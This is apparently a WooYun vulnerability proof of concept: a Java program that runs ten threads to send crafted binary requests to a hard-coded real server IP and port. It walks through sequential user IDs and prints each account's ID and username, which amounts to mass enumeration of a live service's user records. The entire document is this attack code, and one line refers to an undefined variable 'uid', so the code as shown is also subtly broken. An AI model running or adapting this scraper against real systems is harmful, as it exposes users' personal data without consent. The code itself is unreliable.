WooYun.org

import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetAddress;
import java.net.Socket;
import java.util.concurrent.locks.*;
class AttackHFMC implements Runnable {
	private final int THREAD_WAIT;
	private long currentId;
	private ReentrantLock lock = new ReentrantLock();
	AttackHFMC(int threadWait, long startId) {
		THREAD_WAIT = threadWait;
		currentId = startId;
//		try {
//			System.out.println(getUserInfo(4133302222L));
//		} catch (Exception e) {
//			// TODO Auto-generated catch block
//			e.printStackTrace();
//		}
	}
	@SuppressWarnings("static-access")
	public void run() {
		while (true) {
			long thisId = getId();
			try {
				String info = getUserInfo(thisId);
				if(!info.isEmpty())
					System.out.println(info);
			} catch (Exception e) {
			}
			if(thisId % 1000 == 0)
				System.out.println("最新完成:" + thisId);
			
			try {
				Thread.currentThread().sleep(THREAD_WAIT);
			} catch (InterruptedException e) {
			}
		}
	}
	private long getId() {
		lock.lock();
		long thisId = currentId;
		currentId++;
		lock.unlock();
		return thisId;
	}
	private String getUserInfo(long id) throws Exception {
		byte[] recvPackage = getServerRecv(id);
		return recvPackageToUserInfo(recvPackage);
	}
	private String recvPackageToUserInfo(byte[] recvPackage) {
		String userInfo = "userid:";
		long userId = byte4ToInt(recvPackage, 20);
		userInfo += uid;
		userInfo += " name:";
		int index = 28;
		while (recvPackage[index++] != 0)
			;
		String userName = new String(recvPackage, 28, index - 28 - 1);
		userInfo += userName;
		userInfo += "\n";
		if(userName.trim().equals("")){
			return "";
		} else {
			return userInfo;
		}
	}
	public long byte4ToInt(byte[] bytes, int off) {
		int b0 = bytes[off] & 0xFF;
		int b1 = bytes[off + 1] & 0xFF;
		int b2 = bytes[off + 2] & 0xFF;
		int b3 = bytes[off + 3] & 0xFF;
		long l = ((b3 << 24) | (b2 << 16) | (b1 << 8) | b0) & 0xFFFFFFFFL;
		return l;
	}
	private byte[] getServerRecv(long id) throws Exception {
		try {
			Socket s = new Socket(InetAddress.getByName("221.228.215.148"), 35565);
			OutputStream os = s.getOutputStream();
			InputStream is = s.getInputStream();
			byte[] sendPackage = getSendPackage(id);
			os.write(sendPackage);
			byte[] recvPackage = new byte[58];
			is.read(recvPackage, 0, 58);
			os.close();
			is.close();
			s.close();
			return recvPackage;
		} catch (Exception e) {
			//e.printStackTrace();
			System.err.println("与服务器交互出现错误");
			throw new Exception("与服务器交互出现错误");
		}
	}
	private byte[] getSendPackage(long id) {
		byte[] sendPackage = new byte[24];
		// 整包长度
		sendPackage[0] = 24;
		sendPackage[1] = 0;
		sendPackage[2] = 0;
		sendPackage[3] = 0;
		// 1为获取信息 5为登录
		sendPackage[4] = 1;
		sendPackage[5] = 0;
		sendPackage[6] = 0;
		sendPackage[7] = 0;
		sendPackage[8] = 0;
		sendPackage[9] = 0;
		sendPackage[10] = 0;
		sendPackage[11] = 0;
		sendPackage[12] = 0;
		sendPackage[13] = 0;
		sendPackage[14] = 0;
		sendPackage[15] = 0;
		sendPackage[16] = (byte) (id & 0xff);
		sendPackage[17] = (byte) ((id & 0xff00) >> 8);
		sendPackage[18] = (byte) ((id & 0xff0000) >> 16);
		sendPackage[19] = (byte) ((id & 0xff000000) >> 24);
		sendPackage[20] = 0;
		sendPackage[21] = 0;
		sendPackage[22] = 0;
		sendPackage[23] = 0;
		return sendPackage;
	}
}
public class Attack{
	public static void start() {
		int threadCount = 10;//线程数
		int threadWait = 100;//每个线程扫描完后等待多久
		long startId = 4134225000L;//从哪个ID开始扫描
		//String serverIP = "221.228.215.148";
		//int serverPort = 35565;
		AttackHFMC att = new AttackHFMC(threadWait, startId);
		
		Thread[] t = new Thread[threadCount];
		for(int i = 0; i < threadCount; i++){
			t[i] = new Thread(att);
			t[i].start();
		}
	}
}